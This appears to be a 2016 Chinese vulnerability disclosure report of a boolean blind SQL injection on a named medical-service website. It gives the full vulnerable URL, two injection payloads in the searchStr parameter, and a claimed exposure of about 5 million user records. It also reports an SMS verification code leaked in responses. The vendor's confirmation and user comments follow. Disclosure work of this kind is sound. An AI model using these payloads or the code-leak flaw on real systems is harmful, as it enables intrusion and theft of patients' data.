智慧医疗安全之医事通WWW主站SQL注入（涉及近500W+用户信息）

目标：www.jkwin.com.cn

检测发现以下地方存在SQL注入：（注入参数searchStr，布尔盲注）

http://www.jkwin.com.cn/ystpatient2.3/part.do?method=getJbPageByPartId&true=doJsonp_cfcc9621_553d_46cb_8b7b_909f8f148fd9&pageNo=1&partId=2&searchStr=-1&functionName=doJsonp_cfcc9621_553d_46cb_8b7b_909f8f148fd9&_=1464676214454

Payload：

searchStr=-1%25' and 1=1 and '%25'='

searchStr=-1%25' and 1=2 and '%25'='

P.S. 一点提醒：主站注册及忘记密码处，获取短信时可在返回中直接看到验证码，貌似很多人都提过，建议及时修复。

1、当前数据库用户

2、所有数据库

3、用户表，涉及近500W+用户信息，具体就不深入了

请多指教~

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-06-01 10:46

厂商回复：

已确认,感谢提供!

最新状态：

2016-06-06：分值Rank手抖了,不好意思!

1. 2016-06-06 11:35 | 深深 ( 路人 | Rank:1 漏洞数:1 | hi，我是深深。)

   0

   666分值Rank手抖了

   1# 回复此人

2. 2016-06-08 14:58 | 尼古拉斯复愁 ( 路人 | Rank:6 漏洞数:1 )

   0

   洞主淫威 已然吓到厂商！

   2# 回复此人